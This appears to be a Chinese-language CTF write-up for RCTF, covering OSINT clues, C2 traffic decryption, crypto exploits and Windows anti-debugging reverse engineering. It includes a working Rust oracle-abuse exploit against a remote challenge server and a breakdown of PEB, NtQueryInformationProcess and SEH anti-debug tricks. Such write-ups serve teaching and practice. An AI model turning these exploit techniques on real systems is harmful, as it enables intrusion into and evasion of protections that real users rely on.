Her creator captured her voice, preserved in a 15-minute audio/video DVD. She only wanted to sing, and he gave her that chance. If you wish to purchase her album, to hear her songs of love, which link should you visit? After purchasing, who is the sender? And what is the actual creation year when these musical compositions first came to life?

查找购买,基本AI就能出

1cf1a70d2de5cb4aa4a0eaa7b27b8a77

https://androidworld.com/prod68.htm
Chris Willis
2004

Challenge 5

本题也是基本AI出的,多提示词几次,就会给出下面这个,但是有个坑点

john-louis-bergeron和john_louis-bergeron都会导航到那个网站,但是交后面那个是错误,因为这个卡住了,错失三血

https://www.findagrave.com/memorial/63520325/john-louis-bergeron

Signin

直接看网页源代码。

image-20251115111658886

发现100分就有flag了

image-20251115111705746

Shadows of Asgard

是一个C2流量分析。

先找到C2上线的包

image-20251115111835707

发现直接给aeskey和iv了。让ai搓了个脚本,成功解密data。

import base64, json
from Crypto.Cipher import AES

aesKey_b64 = "WzUsMTM5LDI0NSwyMjAsMjMxLDQ2LDIzNCwxNDYsMjQ4LDIxMSwyLDIxMywyLDE2NSw5OCwxMTgsMTAzLDE2MiwzLDE1MCw0LDUzLDE3OSwxOTQsODQsMjA3LDQ1LDI0NSw4OCwxNzksMTkzLDEwMV0="
aesIV_b64  = "WzEyNCwyMzIsMjU0LDE5LDI1MCw0OSw1MCw4MywyMjksMjQ0LDI4LDIyMiw4MywzMywyMDIsNl0="
data_b64   = "N2M3N2ZlN2ExYTdhZGMxY2E3MmZhMzY4MzgxMjUxMjQ5ZDZlYjAwNDQwZWJhYmQ2ZDc4MTVkMjE2OTVmMjAwNzRkY2JmYjgwYmExZTVjMjc5ZWY1NzZhNTQxMTU2YTQxZGI0NjQ3MGNlYTIzMDVkOTFlNDcxN2MyMTljNGQwNWJhYjRlMGQ5Zjg1MTA5MDNmZGQyNTM1M2ZjODI5NmY3MjgxYTEyODNkODIzMDQ1Y2NkYTI4MDI3OTc2NTljNzUzNzI0M2U0MmRhMTQ4MGY4ZDg0ZWQ2YTRjMDA1MjUyNWRjYWIwMDk2M2MyODA1MGJmNTEzNjA2NzNhODdiOTNiZDg1NTNkNWU3NDMzMjk3YmRkNTRiOTQyMjJjZDUzMzg3NzIwMmYwNTU0MDNiMjRlODU5NzkwY2Q5MzliYTZjNGVmMDNjMTkzYTU0Zjc3NTUyY2MyYzJhOThlMmI3NDhmZWViZGY0ZDc5YTM5YzBkZGFlZjUyMzVmZjY4YWYxM2Y0NjFiYTkzMTAwMjhhODY3NWEzOGNiNGU3MTc0YmY1Y2QwYzY4YzdiOGE5NjczMGNlMTEyMGJjNWRjNWQ3ZDNiNGY0NTkxMzc1MGRiNzJiZjQ3NzU5YWQwNGRiOWQxYTBlYjlhMzRmOGZlNDZmMDM5OGI1YWI5YWMzMDBiZTlkNmU1MTA4ZTM1ZWQ2YTRiYTA1MTJmNjJkMjM1YTc1YzQyMTc2MGFkOWNlZWU3YWYyYjM4OTk1MjYxZGJkY2E1NDZk=="
data_hex   = base64.b64decode(data_b64).decode()
# 1. Base64 decode
key_list = json.loads(base64.b64decode(aesKey_b64).decode())
iv_list  = json.loads(base64.b64decode(aesIV_b64).decode())

# 2. Convert to bytes
key_bytes = bytes(key_list)
iv_bytes  = bytes(iv_list)

# 3. data hex → bytes
cipher_bytes = bytes.fromhex(data_hex)

# 4. AES-CBC decrypt
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
plaintext = cipher.decrypt(cipher_bytes)

# 5. remove PKCS7 padding
pad = plaintext[-1]
plaintext = plaintext[:-pad]

print(plaintext.decode(errors="ignore"))

image-20251115112050903

第一问结果

image-20251115112231412

解上线请求得第二问结果

image-20251115112312544

image-20251115112139797

第三问这里说命令隐藏在图像中

image-20251115112433342

而且流量包里面频繁请求了logo.png,导出来看一下发现的确有base64在里面

image-20251115112550716

得到第三问答案

image-20251115112655347

第四问

image-20251115112750440

第五问结果

RCTF{they always say Raven is inauspicious}

image-20251115111957000

五问回答之后就得到flag了。

image-20251115112007332

Crypto

suanp01y

加密流程:

  1. 环:,其中

  2. 多项式生成:随机生成两个 41-稀疏、次数 的多项式

  3. 平移变换: 为随机平移量)

  4. 输出内容:

    • (环内除法)

    然后就是AES的CTR模式加密

将 hint写成代数形式:

,则:

真正短的有理分式是 ,其分子分母满足:

  • 均为 41-稀疏多项式

对每个 计算:

此时:

时,,可通过多项式有理重构从 中恢复

有理重构恢复 后,枚举所有平移 ,生成

每次计算 作为 AES 密钥,用 CTR 模式解密密文,匹配 RCTF{…}即可

EXP:

from sage.all import *
from Crypto.Cipher import AES
from hashlib import md5

r, d = 16381, 41
R.<x> = GF(2)[]
S.<X> = R.quotient(x^r - 1)
M = x^r - 1
BMAX = r//3  
nonce = b"suanp01y"

line1, line2 = open("output.txt","r").read().splitlines()
Hstr = line1.split("=",1)[1].strip()    
H = S(Hstr)                                 
ct = bytes.fromhex(line2.strip())

def wt_R(poly_R):
    return sum(int(c) for c in poly_R.list()) 

def eea_ratrec(F_R, M_R, B):
    r0, r1 = M_R, F_R
    s0, s1 = R(1), R(0)
    t0, t1 = R(0), R(1)

    def try_pair(A, B):
        if A and B and A.degree() <= BMAX and B.degree() <= BMAX:
            A, B = A.monic(), B.monic()
            if ((F_R*B - A) % M_R) == 0:
                return A, B
        return None

    cand = try_pair(r1, t1)
    if cand: return cand
    while r1 != 0:
        q, r2 = r0.quo_rem(r1)
        r0, r1 = r1, r2
        s0, s1 = s1, s0 - q*s1
        t0, t1 = t1, t0 - q*t1

        cand = try_pair(r0, t0)
        if cand: return cand
        cand = try_pair(r1, t1)
        if cand: return cand

    raise RuntimeError("no bounded solution")

t0_R = t1_R = None
good_delta = None

for delta in range(r):
    H_delta = S(X^delta) * H
    F_delta = H_delta.lift()
    try:
        A, B = eea_ratrec(F_delta, M, BMAX)
    except RuntimeError:
        continue
    if wt_R(B) == d or wt_R(A) == d:
        t0_R, t1_R = (B, A) if wt_R(B) == d else (A, B)
        good_delta = delta
        print(f"[+] 找到可重构的 δ = {delta} ,wt(t0)={wt_R(t0_R)}, wt(t1)={wt_R(t1_R)}")
        break

if t0_R is None:
    raise SystemExit("[-] 遍历 δ 未能重构到 41-稀疏分母")

def decrypt_try(h0_S):
    key = md5(str(h0_S).encode()).digest()
    return AES.new(key=key, nonce=nonce, mode=AES.MODE_CTR).decrypt(ct)

t0_S = S(t0_R)
flag = None
for k in range(r):
    h0 = S(X^k) * t0_S
    pt = decrypt_try(h0)
    if pt.startswith(b"RCTF{") and pt.rstrip().endswith(b"}") and all(32 <= b <= 126 for b in pt):
        flag = pt.decode()
        print("[+] FOUND flag:", flag)
        break
"""
[+] 找到可重构的 δ = 12921 ,wt(t0)=41, wt(t1)=41
[+] FOUND flag: RCTF{i_just_h0pe_ChatGPT_doesnt_inst@ntly_so1ve_thi5_one.}
"""

ReParing

题目基于 BLS12-381 配对的加密系统,服务端通过 Rust + arkworks 实现

这是一个 ElGamal 结构,可以被重随机化,而题目又给了我们一个“解密后 KDF(key) 的 oracle”。

我们选任意 ,定义新的密文:

原来随机数是

现在变成

同样从 调整为

调用同一个解密函数:

写成 的形式:

代入:

再用

于是:

对任意 ,按上面的公式重随机化之后的密文,解密出来的仍然是同一个会话密钥

而在交互协议里,只要 跟原来的三分量不同时相等,就会被认为是“新密文”,从而返回

得到hex(KDF(S))直接和encrypted_flag异或即可

exp:

文件结构

exp/
├── Cargo.toml
└── src/
└── main.rs

Cargo.toml:

[package]
name = "exp"
version = "0.1.0"
edition = "2024"

[dependencies]
ark-bls12-381 = "0.5"
ark-ec         = "0.5"
ark-ff         = "0.5"
ark-serialize  = "0.5"
hex            = "0.4"

src/main.rs:

我们沿用题目的序列化规则即可

use std::io::{Read, Write};
use std::net::TcpStream;

use ark_bls12_381::{Bls12_381, Fr, G1Affine, G1Projective, G2Affine, G2Projective};
use ark_ec::{pairing::Pairing, CurveGroup, PrimeGroup};
use ark_ff::{PrimeField, Field};
use ark_serialize::{CanonicalDeserialize, CanonicalSerialize};

type GT = <Bls12_381 as Pairing>::TargetField;

fn parse_g1_hex(s: &str) -> G1Projective {
    let b = hex::decode(s).expect("bad hex g1");
    let a = G1Affine::deserialize_compressed(&*b).expect("bad g1");
    G1Projective::from(a)
}
fn parse_g2_hex(s: &str) -> G2Projective {
    let b = hex::decode(s).expect("bad hex g2");
    let a = G2Affine::deserialize_compressed(&*b).expect("bad g2");
    G2Projective::from(a)
}
fn parse_gt_hex(s: &str) -> GT {
    let b = hex::decode(s).expect("bad hex gt");
    GT::deserialize_compressed(&*b).expect("bad gt")
}
fn hex_g1(p: &G1Projective) -> String {
    let a: G1Affine = (*p).into_affine();
    let mut v = Vec::new();
    a.serialize_compressed(&mut v).unwrap();
    hex::encode(v)
}
fn hex_g2(p: &G2Projective) -> String {
    let a: G2Affine = (*p).into_affine();
    let mut v = Vec::new();
    a.serialize_compressed(&mut v).unwrap();
    hex::encode(v)
}
fn hex_gt(x: &GT) -> String {
    let mut v = Vec::new();
    x.serialize_compressed(&mut v).unwrap();
    hex::encode(v)
}

fn xor_in_place(a: &mut [u8], b: &[u8]) {
    for (x, y) in a.iter_mut().zip(b.iter()) {
        *x ^= *y;
    }
}

fn main() -> std::io::Result<()> {
    // 连接远端
    let host = std::env::args().nth(1).unwrap_or_else(|| "1.14.196.78:42601".to_string());
    let mut sock = TcpStream::connect(host)?;

    // 读首行 banner
    let mut line = String::new();
    let mut buf = [0u8; 4096];
    // 读到换行即可
    loop {
        let n = sock.read(&mut buf)?;
        if n == 0 { break; }
        line.push_str(&String::from_utf8_lossy(&buf[..n]));
        if line.contains('\n') { break; }
    }
    let line = line.lines().next().unwrap().trim().to_string();

    // 拆分 8 段: id|dst|pk|q|c1|c2|c3|enc_flag
    let mut it = line.split('|');
    let _id_hex = it.next().expect("id");
    let _dst_hex = it.next().expect("dst");
    let pk_hex = it.next().expect("pk");
    let q_hex  = it.next().expect("q");
    let c1_hex = it.next().expect("c1");
    let c2_hex = it.next().expect("c2");
    let c3_hex = it.next().expect("c3");
    let enc_hex = it.next().expect("enc");
    assert!(it.next().is_none(), "more parts than expected");

    // 反序列化
    let pk: GT = parse_gt_hex(pk_hex);
    let q:  G2Projective = parse_g2_hex(q_hex);
    let c1: GT = parse_gt_hex(c1_hex);
    let c2: G1Projective = parse_g1_hex(c2_hex);
    let c3: G2Projective = parse_g2_hex(c3_hex);
    let mut enc = hex::decode(enc_hex).expect("bad enc hex");


    let mut delta_u64: u64 = 1;
    let key_hex = loop {
        let delta = Fr::from(delta_u64);

        let c1p = c1 * pk.pow(delta.into_bigint());
        let c2p = c2 + G1Projective::generator() * delta;
        let c3p = c3 + q * delta;

        let out = format!(
            "{}|{}|{}\n",
            hex_gt(&c1p),
            hex_g1(&c2p),
            hex_g2(&c3p),
        );
        sock.write_all(out.as_bytes())?;

        let mut resp = String::new();
        sock.read_to_string(&mut resp)?; 
        let resp = resp.trim();
        if resp == "bad" || resp == "no" {
            delta_u64 += 1;
            continue;
        } else {
            break resp.to_string();
        }
    };

    let key = hex::decode(key_hex).expect("bad key hex");
    let enc_len = enc.len();
    assert!(key.len() >= enc_len);
    xor_in_place(&mut enc, &key[..enc_len]);
    println!("{}", String::from_utf8_lossy(&enc));
    Ok(())
}

在exp目录下运行cargo run –release

C:\Users\28421\Desktop\exp>cargo run --release
   Compiling exp v0.1.0 (C:\Users\28421\Desktop\exp)
    Finished `release` profile [optimized] target(s) in 1.65s
     Running `target\release\exp.exe`
RCTF{ElGamal-style_re-randomization_attack_still_break_modern_schemes_7ec932b22988}

Reverse

Chaos

签到题,双击exe得到flag

He said that if all the key modifications involved in anti-debugging are identified, the flag can be retrieved.
your flag is RCTF{AntiDbg_KeyM0d_2025_R3v3rs3}程序执行完毕,按下任意键退出...

Chaos2

这个题就是用一个被反调试代码动态改动过的 key 做 RC4 解密,把 main 里那 0x80 个字节解出来,得到真正的 flag

主逻辑在 loc_40151D 这一块:

.text:0040151D loc_40151D:
.text:0040151D                 mov     ebx, 22222222h
.text:00401522                 mov     eax, dword_404018
.text:00401527                 mov     [ebp-88h], eax
.text:0040152D                 push    0
.text:0040152F                 push    0
.text:00401531                 push    offset sub_401130   ; 回调
.text:00401536                 call    ds:EnumUILanguagesA
.text:0040153C                 mov     [ebp-194h], eax
.text:00401542                 mov     ecx, dword_40440C   ; key 指针放到 [ebp-190h]
.text:00401548                 mov     [ebp-190h], ecx

sub_401130 是 EnumUILanguagesA 的回调,里面就是反调试 + key 修改。

密文写入栈,地址从 [ebp-84h] 到 [ebp-5],一共 0x80 字节:

.text:0040154E                 mov     byte ptr [ebp-84h], 0Fh
.text:00401555                 mov     byte ptr [ebp-83h], 1Ah
.text:0040155C                 mov     byte ptr [ebp-82h], 8Ah
.text:00401563                 mov     byte ptr [ebp-81h], 5Ah ; 'Z'
.text:0040156A                 mov     byte ptr [ebp-80h], 22h ; '"'
.text:0040156E                 mov     byte ptr [ebp-7Fh], 0ABh
.text:00401572                 mov     byte ptr [ebp-7Eh], 1Eh
.text:00401576                 mov     byte ptr [ebp-7Dh], 63h ; 'c'
.text:0040157A                 mov     byte ptr [ebp-7Ch], 19h
.text:0040157E                 mov     byte ptr [ebp-7Bh], 5Ah ; 'Z'
.text:00401582                 mov     byte ptr [ebp-7Ah], 87h
.text:00401586                 mov     byte ptr [ebp-79h], 0F2h
.text:0040158A                 mov     byte ptr [ebp-78h], 0E6h
.text:0040158E                 mov     byte ptr [ebp-77h], 0E9h
.text:00401592                 mov     byte ptr [ebp-76h], 0D7h
.text:00401596                 mov     byte ptr [ebp-75h], 0D1h
.text:0040159A                 mov     byte ptr [ebp-74h], 97h
.text:0040159E                 mov     byte ptr [ebp-73h], 0F9h
.text:004015A2                 mov     byte ptr [ebp-72h], 0F8h
.text:004015A6                 mov     byte ptr [ebp-71h], 32h ; '2'
.text:004015AA                 mov     byte ptr [ebp-70h], 5Bh ; '['
.text:004015AE                 mov     byte ptr [ebp-6Fh], 0DEh
.text:004015B2                 mov     byte ptr [ebp-6Eh], 2Dh ; '-'
.text:004015B6                 mov     byte ptr [ebp-6Dh], 0D6h
.text:004015BA                 mov     byte ptr [ebp-6Ch], 0A3h
.text:004015BE                 mov     byte ptr [ebp-6Bh], 4Fh ; 'O'
.text:004015C2                 mov     byte ptr [ebp-6Ah], 7Eh ; '~'
.text:004015C6                 mov     byte ptr [ebp-69h], 0CBh
.text:004015CA                 mov     byte ptr [ebp-68h], 61h ; 'a'
.text:004015CE                 mov     byte ptr [ebp-67h], 0B2h
.text:004015D2                 mov     byte ptr [ebp-66h], 3Fh ; '?'
.text:004015D6                 mov     byte ptr [ebp-65h], 0BFh
.text:004015DA                 mov     byte ptr [ebp-64h], 0B7h
.text:004015DE                 mov     byte ptr [ebp-63h], 1Bh
.text:004015E2                 mov     byte ptr [ebp-62h], 0Ah
.text:004015E6                 mov     byte ptr [ebp-61h], 84h
.text:004015EA                 mov     byte ptr [ebp-60h], 0B3h
.text:004015EE                 mov     byte ptr [ebp-5Fh], 0B4h
.text:004015F2                 mov     byte ptr [ebp-5Eh], 0DEh
.text:004015F6                 mov     byte ptr [ebp-5Dh], 3
.text:004015FA                 mov     byte ptr [ebp-5Ch], 46h ; 'F'
.text:004015FE                 mov     byte ptr [ebp-5Bh], 7Bh ; '{'
.text:00401602                 mov     byte ptr [ebp-5Ah], 83h
.text:00401606                 mov     byte ptr [ebp-59h], 0F0h
.text:0040160A                 mov     byte ptr [ebp-58h], 0C4h
.text:0040160E                 mov     byte ptr [ebp-57h], 0B3h
.text:00401612                 mov     byte ptr [ebp-56h], 0ABh
.text:00401616                 mov     byte ptr [ebp-55h], 7Bh ; '{'
.text:0040161A                 mov     byte ptr [ebp-54h], 29h ; ')'
.text:0040161E                 mov     byte ptr [ebp-53h], 0BCh
.text:00401622                 mov     byte ptr [ebp-52h], 1Fh
.text:00401626                 mov     byte ptr [ebp-51h], 0FEh
.text:0040162A                 mov     byte ptr [ebp-50h], 8Ah
.text:0040162E                 mov     byte ptr [ebp-4Fh], 79h ; 'y'
.text:00401632                 mov     byte ptr [ebp-4Eh], 26h ; '&'
.text:00401636                 mov     byte ptr [ebp-4Dh], 0DAh
.text:0040163A                 mov     byte ptr [ebp-4Ch], 8
.text:0040163E                 mov     byte ptr [ebp-4Bh], 1
.text:00401642                 mov     byte ptr [ebp-4Ah], 85h
.text:00401646                 mov     byte ptr [ebp-49h], 66h ; 'f'
.text:0040164A                 mov     byte ptr [ebp-48h], 7Dh ; '}'
.text:0040164E                 mov     byte ptr [ebp-47h], 0BBh
.text:00401652                 mov     byte ptr [ebp-46h], 0EEh
.text:00401656                 mov     byte ptr [ebp-45h], 0Fh
.text:0040165A                 mov     byte ptr [ebp-44h], 89h
.text:0040165E                 mov     byte ptr [ebp-43h], 59h ; 'Y'
.text:00401662                 mov     byte ptr [ebp-42h], 0D4h
.text:00401666                 mov     byte ptr [ebp-41h], 5Fh ; '_'
.text:0040166A                 mov     byte ptr [ebp-40h], 0ACh
.text:0040166E                 mov     byte ptr [ebp-3Fh], 18h
.text:00401672                 mov     byte ptr [ebp-3Eh], 0AEh
.text:00401676                 mov     byte ptr [ebp-3Dh], 0Bh
.text:0040167A                 mov     byte ptr [ebp-3Ch], 4Eh ; 'N'
.text:0040167E                 mov     byte ptr [ebp-3Bh], 0F0h
.text:00401682                 mov     byte ptr [ebp-3Ah], 0B7h
.text:00401686                 mov     byte ptr [ebp-39h], 5
.text:0040168A                 mov     byte ptr [ebp-38h], 5Ch ; '\'
.text:0040168E                 mov     byte ptr [ebp-37h], 81h
.text:00401692                 mov     byte ptr [ebp-36h], 4
.text:00401696                 mov     byte ptr [ebp-35h], 9Fh
.text:0040169A                 mov     byte ptr [ebp-34h], 0A4h
.text:0040169E                 mov     byte ptr [ebp-33h], 1Ch
.text:004016A2                 mov     byte ptr [ebp-32h], 5Dh ; ']'
.text:004016A6                 mov     byte ptr [ebp-31h], 0A0h
.text:004016AA                 mov     byte ptr [ebp-30h], 0B9h
.text:004016AE                 mov     byte ptr [ebp-2Fh], 7
.text:004016B2                 mov     byte ptr [ebp-2Eh], 92h
.text:004016B6                 mov     byte ptr [ebp-2Dh], 5Ch ; '\'
.text:004016BA                 mov     byte ptr [ebp-2Ch], 8Ah
.text:004016BE                 mov     byte ptr [ebp-2Bh], 53h ; 'S'

最后是 RC4 的逻辑:

.text:0040175A                 push    80h                  ; key 长度 0x80
.text:0040175F                 mov     edx, [ebp-190h]      ; key 指针 = dword_40440C
.text:00401765                 push    edx
.text:00401766                 lea     eax, [ebp-18Ch]      ; RC4 state
.text:0040176C                 push    eax
.text:0040176D                 call    sub_4017D0           ; RC4 KSA
.text:00401772                 add     esp, 0Ch
.text:00401775                 push    80h
.text:0040177A                 lea     ecx, [ebp-84h]       ; 密文缓冲
.text:00401780                 push    ecx
.text:00401781                 lea     edx, [ebp-18Ch]      ; RC4 state
.text:00401787                 push    edx
.text:00401788                 call    sub_4018A0           ; RC4 PRGA + XOR
.text:0040178D                 add     esp, 0Ch
.text:00401790                 lea     eax, [ebp-84h]
.text:00401796                 push    eax
.text:00401797                 push    offset aYourFlagIsS  ; "your flag is %s"
.text:0040179C                 call    sub_401050

所以flag 就是 RC4 解密后的 [ebp-84h] 那 0x80 字节字符串。

在data段找到关键的fake_key:

.data:0040400B                 db 0FFh
.data:0040400C dword_40400C    dd 1                    ; DATA XREF: sub_40206D+2↑r
.data:00404010 dword_404010    dd 1                    ; DATA XREF: sub_4022F5+D↑w
.data:00404010                                         ; sub_4022F5:loc_402409↑r ...
.data:00404014 dword_404014    dd 1                    ; DATA XREF: sub_4024C6+2↑r
.data:00404018 dword_404018    dd 12345678h            ; DATA XREF: .text:00401522↑r
.data:0040401C aFlagTh1sflagls db 'flag:{Th1sflaglsG00ds}',0
.data:00404033                 db    0
.data:00404034                 db    0
.data:00404035                 db    0
.data:00404036                 db    0
.data:00404037                 db    0
.data:00404038                 db    0

但不是真正的key。

sub_401440函数:

.text:00401440 sub_401440      proc near               ; CODE XREF: .text:004010F1↑p
...
.text:0040144D                 push    0               ; lpModuleName = NULL
.text:0040144F                 call    ds:GetModuleHandleA
.text:00401455                 mov     [ebp+var_8], eax ; 模块基址
.text:00401458                 mov     [ebp+var_4], 0
.text:0040145F                 jmp     short loc_40146A

.text:00401461 loc_401461:
.text:00401461                 mov     eax, [ebp+var_4]
.text:00401464                 add     eax, 1
.text:00401467                 mov     [ebp+var_4], eax

.text:0040146A loc_40146A:
.text:0040146A                 cmp     [ebp+var_4], 10000h
.text:00401471                 jnb     short loc_4014AA
.text:00401473                 mov     ecx, [ebp+var_8]
.text:00401476                 add     ecx, [ebp+var_4]
.text:00401479                 mov     edx, [ecx]          ; 取一个 dword
.text:0040147B                 mov     [ebp+var_C], edx
.text:0040147E                 cmp     [ebp+var_C], 12345678h
.text:00401485                 jnz     short loc_4014A8
.text:00401487                 mov     eax, [ebp+var_8]
.text:0040148A                 add     eax, [ebp+var_4]
.text:0040148D                 movsx   ecx, byte ptr [eax+4]
.text:00401491                 cmp     ecx, 75h ; 'u'
.text:00401494                 jz      short loc_4014A8
.text:00401496                 mov     edx, [ebp+var_4]
.text:00401499                 mov     eax, [ebp+var_8]
.text:0040149C                 lea     ecx, [eax+edx+4]
.text:004014A0                 mov     dword_40440C, ecx   ; 保存指针
.text:004014A6                 jmp     short loc_4014AA

.text:004014AA loc_4014AA:
.text:004014AA                 mov     eax, dword_40440C
.text:004014AF                 mov     esp, ebp
.text:004014B1                 pop     ebp
.text:004014B2                 retn

.text:0040147E cmp [ebp+var_C], 12345678h

所以dword_40440C指向flag:{Th1sflaglsG00ds} 的起始地址。

第一次反调试

loc_4010DA:

.text:004010DA loc_4010DA:
.text:004010DA                 mov     ebx, 22222222h
.text:004010DF                 mov     byte ptr [ebp-5], 1
.text:004010E3                 push    eax
.text:004010E4                 mov     eax, large fs:30h   ; PEB
.text:004010EA                 mov     al, [eax+2]         ; BeingDebugged
.text:004010ED                 mov     [ebp-5], al
.text:004010F0                 pop     eax
.text:004010F1                 call    sub_401440          ; 设置 dword_40440C
.text:004010F6                 mov     dword_404408, 8
.text:00401100                 movzx   eax, byte ptr [ebp-5]
.text:00401104                 test    eax, eax
.text:00401106                 jz      short loc_40110A    ; 未调试 -> 改 key
.text:00401108                 jmp     short loc_401119

.text:0040110A loc_40110A:
.text:0040110A                 mov     ecx, dword_40440C
.text:00401110                 add     ecx, dword_404408   ; +8
.text:00401116                 mov     byte ptr [ecx], 69h ; 'i'

如果 没有被调试 (BeingDebugged == 0),会跳到 loc_40110A,把 (dword_40440C + 8)改成 i。

初始 key 第 8 个字节是 1,所以这里实际上把 Th1s 改成 This

第二次反调试

这一段在 sub_401130 里,通过 NtQueryInformationProcess(info class = 7)查 debug object handle

loc_40124A:

.text:0040124A loc_40124A:
.text:0040124A                 mov     ebx, 22222222h
.text:0040124F                 call    ds:GetCurrentProcess
.text:00401255                 mov     [ebp-10h], eax
.text:00401258                 push    0
.text:0040125A                 push    4
.text:0040125C                 lea     eax, [ebp-8]        ; 输出句柄位置
.text:0040125F                 push    eax
.text:00401260                 push    7                   ; ProcessInformationClass = 7
.text:00401262                 mov     ecx, [ebp-10h]
.text:00401265                 push    ecx                 ; ProcessHandle
.text:00401266                 call    dword ptr [ebp+8]   ; NtQueryInformationProcess
.text:00401269                 mov     dword_404408, 0Eh
.text:00401273                 cmp     dword ptr [ebp-8], 0
.text:00401277                 jz      short loc_40127B    ; ==0 则改 key
.text:00401279                 jmp     short loc_40128A

.text:0040127B loc_40127B:
.text:0040127B                 mov     edx, dword_40440C
.text:00401281                 add     edx, dword_404408   ; +0x0E
.text:00401287                 mov     byte ptr [edx], 49h ; 'I'

DebugObjectHandle == 0:

就把 *(dword_40440C + 0x0E)改成 I

原始那里是 l,所以 flagls变成flagIs

第三次变换

这一段利用异常处理器修改 key

loc_40130D:

.text:0040130D loc_40130D:
.text:0040130D                 mov     ebx, 22222222h
.text:00401312                 push    offset aNtdllDll_0 ; "Ntdll.dll"
.text:00401317                 call    ds:LoadLibraryW
.text:0040131D                 mov     [ebp-24h], eax
.text:00401320                 cmp     dword ptr [ebp-24h], 0
.text:00401324                 jnz     short loc_401328
.text:00401326                 jmp     short loc_401383

.text:00401328 loc_401328:
.text:00401328                 mov     dword_404408, 11h
.text:00401332                 push    offset aNtclose    ; "NtClose"
.text:00401337                 mov     eax, [ebp-24h]
.text:0040133A                 push    eax
.text:0040133B                 call    ds:GetProcAddress  ; 取 NtClose 地址到 [ebp-28h]
.text:00401341                 mov     [ebp-28h], eax
.text:00401344                 cmp     dword ptr [ebp-28h], 0
.text:00401348                 jnz     short loc_40134C
.text:0040134A                 jmp     short loc_401383

.text:0040134C loc_40134C:
.text:0040134C                 mov     dword ptr [ebp-4], 0
.text:00401353                 push    99999999h
.text:00401358                 call    dword ptr [ebp-28h] ; NtClose(0x99999999)
.text:0040135B                 mov     dword ptr [ebp-4], 0FFFFFFFEh
.text:00401362                 jmp     short loc_401383

NtClose(0x99999999) 正常会触发异常,异常处理函数就是 sub_40136A:

.text:0040136A sub_40136A      proc near                ; SEH handler
.text:0040136A                 mov     esp, [ebp-18h]
.text:0040136D                 mov     ecx, dword_40440C
.text:00401373                 add     ecx, dword_404408  ; +0x11
.text:00401379                 mov     byte ptr [ecx], 6Fh ; 'o'
.text:0040137C                 mov     dword ptr [ebp-4], 0FFFFFFFEh

SEH handler 执行时把 *(dword_40440C + 0x11) 改为 ‘o’

原本这里是 ‘0’,所以 G00ds 的第一个 0 被改成 ‘o’

第四次反调试

loc_4013EA:

.text:004013EA loc_4013EA:
.text:004013EA                 mov     ebx, 22222222h
.text:004013EF                 call    ds:GetCurrentProcess
.text:004013F5                 mov     [ebp-10h], eax
.text:004013F8                 push    0
.text:004013FA                 push    4
.text:004013FC                 lea     eax, [ebp-8]
.text:004013FF                 push    eax
.text:00401400                 push    1Fh               ; info class = 0x1F (ProcessDebugFlags)
.text:00401402                 mov     ecx, [ebp-10h]
.text:00401405                 push    ecx
.text:00401406                 call    dword ptr [ebp+8] ; NtQueryInformationProcess
.text:00401409                 mov     dword_404408, 12h
.text:00401413                 cmp     dword ptr [ebp-8], 1
.text:00401417                 jz      short loc_40141B
.text:00401419                 jmp     short loc_40142A

.text:0040141B loc_40141B:
.text:0040141B                 mov     edx, dword_40440C
.text:00401421                 add     edx, dword_404408  ; +0x12
.text:00401427                 mov     byte ptr [edx], 6Fh ; 'o'

如果ProcessDebugFlags == 1即未调试,把 *(dword_40440C + 0x12) 改为 ‘o’

所以,G00ds 的第二个 0 也被改成 ‘o’

最终的key:

flag:{ThisflagIsGoods}

RC4部分

初始化:sub_4017D0

push 80h               ; key 长度 0x80
push [ebp-190h]        ; key 指针 = dword_40440C
push &state
call sub_4017D0

后面补零到0x80字节

sub_4017D0是标准的RC4KSA

.text:004017D0 sub_4017D0      proc near
...
.text:004017E4                 mov     eax, [ebp+arg_0]
.text:004017E7                 mov     byte ptr [eax+101h], 0  ; j = 0
.text:004017EE                 mov     ecx, [ebp+arg_0]
.text:004017F1                 mov     byte ptr [ecx+100h], 0  ; i = 0
.text:004017F8                 mov     [ebp+var_4], 0
.text:004017FF                 jmp     short loc_40180A

.text:0040180A loc_40180A:     ; 初始化 S[i] = i
.text:0040180A                 cmp     [ebp+var_4], 100h
.text:00401811                 jnb     short loc_401820
.text:00401813                 mov     eax, [ebp+arg_0]
.text:00401816                 add     eax, [ebp+var_4]
.text:00401819                 mov     cl, byte ptr [ebp+var_4]
.text:0040181C                 mov     [eax], cl
...

.text:00401820 loc_401820:     ; KSA 主循环
.text:00401820                 mov     [ebp+var_4], 0
...
.text:00401832 loc_401832:
.text:00401832                 cmp     [ebp+var_4], 100h
.text:00401839                 jnb     short loc_40189A
.text:0040183B                 mov     eax, [ebp+arg_0]
.text:0040183E                 add     eax, [ebp+var_4]
.text:00401841                 movzx   ecx, byte ptr [eax]
.text:00401844                 mov     [ebp+var_10], ecx   ; S[i]
.text:00401847                 mov     edx, [ebp+arg_4]
.text:0040184A                 add     edx, [ebp+var_C]    ; key[j]
.text:0040184D                 movzx   eax, byte ptr [edx]
.text:00401850                 add     eax, [ebp+var_10]
.text:00401853                 add     eax, [ebp+var_8]
.text:00401856                 mov     [ebp+var_8], eax    ; j += S[i] + key[i%keylen]
.text:00401859                 mov     ecx, [ebp+var_8]
.text:0040185C                 and     ecx, 0FFh
.text:00401862                 mov     [ebp+var_8], ecx    ; j &= 0xFF
...
; 然后交换 S[i], S[j]

sub_4018A0是 PRGA,输出密钥流并 XOR 数据

.text:004018A6                 mov     eax, [ebp+arg_0]
.text:004018A9                 mov     [ebp+var_4], eax      ; S base
.text:004018AC                 mov     ecx, [ebp+arg_0]
.text:004018AF                 movzx   edx, byte ptr [ecx+100h]
.text:004018B6                 mov     [ebp+var_8], edx      ; i
.text:004018B9                 mov     eax, [ebp+arg_0]
.text:004018BC                 movzx   ecx, byte ptr [eax+101h]
.text:004018C3                 mov     [ebp+var_C], ecx      ; j
...
.text:004018D5                 cmp     [ebp+var_18], 0
.text:004018D9                 jz      short loc_401955      ; 长度耗尽结束
.text:004018DB                 mov     ecx, [ebp+var_8]
.text:004018DE                 add     ecx, 1
.text:004018E1                 and     ecx, 0FFh
.text:004018E7                 mov     [ebp+var_8], ecx      ; i = (i+1)&0xFF
.text:004018EA                 mov     edx, [ebp+var_4]
.text:004018ED                 add     edx, [ebp+var_8]
.text:004018F0                 movzx   eax, byte ptr [edx]
.text:004018F3                 mov     [ebp+var_10], eax     ; S[i]
.text:004018F6                 mov     ecx, [ebp+var_C]
.text:004018F9                 add     ecx, [ebp+var_10]
.text:004018FC                 and     ecx, 0FFh
